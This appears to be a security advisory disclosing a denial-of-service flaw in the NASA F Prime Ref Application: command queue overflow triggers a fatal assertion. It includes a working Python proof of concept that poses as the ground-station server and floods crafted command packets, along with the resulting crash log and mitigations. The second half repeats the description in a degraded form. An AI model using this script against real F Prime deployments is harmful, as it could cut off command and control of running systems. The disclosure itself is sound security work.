Description:
The NASA F Prime Ref Application is vulnerable to a remotely triggerable denial-of-service condition due to improper handling of command queue overflow. Multiple components, including Health and SigGen, use fixed-size, non-blocking Os::Queue objects to receive incoming commands. When flooded with a series of valid but rapidly issued commands, the internal queue fills up, triggering a fatal FW_ASSERT(qStatus == OP_OK) which causes the application to abort via SIGABRT.
This behavior affects the Ref Application and can be exploited by any unauthenticated entity able to send raw TCP packets to the command interface.
Note: While this behavior is observable in the Ref Application builds, its relevance to production systems depends on whether assertions (FW_ASSERT) are compiled in. If production deployments retain FW_ASSERT, they may be susceptible to similar denial-of-service conditions.
Vulnerable Opcodes (Confirmed):
| Component |
Opcodes Triggering Crash |
| SigGen |
0x2100–0x2103 |
| SigGen |
0x2200–0x2203 |
| SigGen |
0x2300–0x2303 |
| SigGen |
0x2400–0x2403 |
| SigGen |
0x2500–0x2503 |
| Health |
0x2000–0x2002 |
| SendBuff |
0x2600–0x2603 |
These ranges correspond to commands dispatched to components that crash on queue overflow.
Exploitation Prerequisites:
- The Ref Application must be running in TCP mode (
-a 127.0.0.1 -p 50000)
- The attacker must be able to connect to the TCP interface (e.g., from localhost or over network)
Impact:
- Immediate termination of the Ref Application process
- Loss of command and control capability
- Potential mission safety impact in a real deployment
- Could be used to suppress health or telemetry subsystems
Security Considerations:
- The Ref Application does not implement authentication, encryption, or anti-replay mechanisms
- Components do not implement rate-limiting or graceful handling of
Os::Queue::OP_QUEUE_FULL
FW_ASSERT(...) is used without fallback, leading to SIGABRT under queue pressure
- The Ref Application uses a TCP client model, connecting out to a GDS server, which an attacker can impersonate
- If
FW_ASSERT is enabled in production builds, a remote actor can cause a crash with a valid but malformed command stream
Reproduction:
import socket
import struct
import zlib
import time
HOST = "127.0.0.1"
PORT = 50000 # Port F Prime connects to
# === Packet Generator ===
def generate_fprime_command(opcode: int, args: bytes = b"") -> bytes:
"""
Create a valid F Prime ETCh command packet.
Format:
- Signature: 4 bytes (0xdeadbeef)
- Length: 4 bytes (length of payload)
- Payload:
- Version: 1 byte (0x00)
- Nulls: 5 bytes (0x00)
- Opcode: 2 bytes (big endian)
- Args: optional
- CRC32: 4 bytes (computed on signature + length + payload)
"""
signature = struct.pack(">I", 0xDEADBEEF)
version = b"\x00"
nulls = b"\x00" * 5
opcode_bytes = struct.pack(">H", opcode)
payload = version + nulls + opcode_bytes + args
length = struct.pack(">I", len(payload))
crc = struct.pack(">I", zlib.crc32(signature + length + payload) & 0xFFFFFFFF)
return signature + length + payload + crc
# === Command Sender ===
def send_dos_trigger_commands(conn):
print("[*] Sending commands to trigger queue overflow...")
for i in range(15): # Enough to overflow internal queue
opcode = 0x2001
packet = generate_fprime_command(opcode)
print(f"[*] Sending packet {i + 1} with opcode: 0x{opcode:04x}")
conn.sendall(packet)
time.sleep(0.01) # Short delay to overwhelm the queue
# === TCP Server ===
def start_tcp_server():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
server_socket.bind((HOST, PORT))
server_socket.listen(1)
print(f"[*] TCP server listening on {HOST}:{PORT}...\n")
conn, addr = server_socket.accept()
print(f"[+] F Prime connected from {addr}")
try:
send_dos_trigger_commands(conn)
except Exception as e:
print(f"[!] Error during sending: {e}")
finally:
conn.close()
print("[*] Connection closed.")
if __name__ == "__main__":
start_tcp_server()
Replace 0x2001 with any opcode from the affected list to confirm behavior.
Observed Output on Crash
When executing the reproduction script against a running Ref Application instance, the following output is observed from the application console:
Connected to 127.0.0.1:50000 as a tcp client
EVENT: (1281) (2:1745317590,192386) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,202556) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,212889) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,223323) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,233523) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,243694) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,253928) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,264056) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,274229) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,284462) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
EVENT: (1281) (2:1745317590,294783) COMMAND: (cmdDisp) OpCodeDispatched : Opcode 0x2001 dispatched to port 13
Assert: "/home/mirko/Documents/test_fprime/lib/fprime/Ref/build-release/F-Prime/Svc/Health/HealthComponentAc.cpp:1102" 8
FATAL 16897 handled.
[WARNING] Failed to recv from port with status -8 and errno 104
[WARNING] Failed to open port with status -4 and errno 111
[ERROR] Failed to send framed data: 2
Exiting with abort signal and core dump file.
Aborted (core dumped)
Mitigations:
- Increase queue depth for critical components
- Replace FW_ASSERT(qStatus == OP_OK) with a non-fatal error handling path (e.g., log and drop)
- Implement backpressure or command rate-limiting in the dispatcher
Description:
The NASA F Prime Ref Application is vulnerable to a remotely triggerable denial-of-service condition due to improper handling of command queue overflow. Multiple components, including Health and SigGen, use fixed-size, non-blocking Os::Queue objects to receive incoming commands. When flooded with a series of valid but rapidly issued commands, the internal queue fills up, triggering a fatal
FW_ASSERT(qStatus == OP_OK)which causes the application to abort viaSIGABRT.This behavior affects the Ref Application and can be exploited by any unauthenticated entity able to send raw TCP packets to the command interface.
Note: While this behavior is observable in the Ref Application builds, its relevance to production systems depends on whether assertions (
FW_ASSERT) are compiled in. If production deployments retainFW_ASSERT, they may be susceptible to similar denial-of-service conditions.Vulnerable Opcodes (Confirmed):
These ranges correspond to commands dispatched to components that crash on queue overflow.
Exploitation Prerequisites:
-a 127.0.0.1 -p 50000)Impact:
Security Considerations:
Os::Queue::OP_QUEUE_FULLFW_ASSERT(...)is used without fallback, leading to SIGABRT under queue pressureFW_ASSERTis enabled in production builds, a remote actor can cause a crash with a valid but malformed command streamReproduction:
Replace
0x2001with any opcode from the affected list to confirm behavior.Observed Output on Crash
When executing the reproduction script against a running Ref Application instance, the following output is observed from the application console:
Mitigations: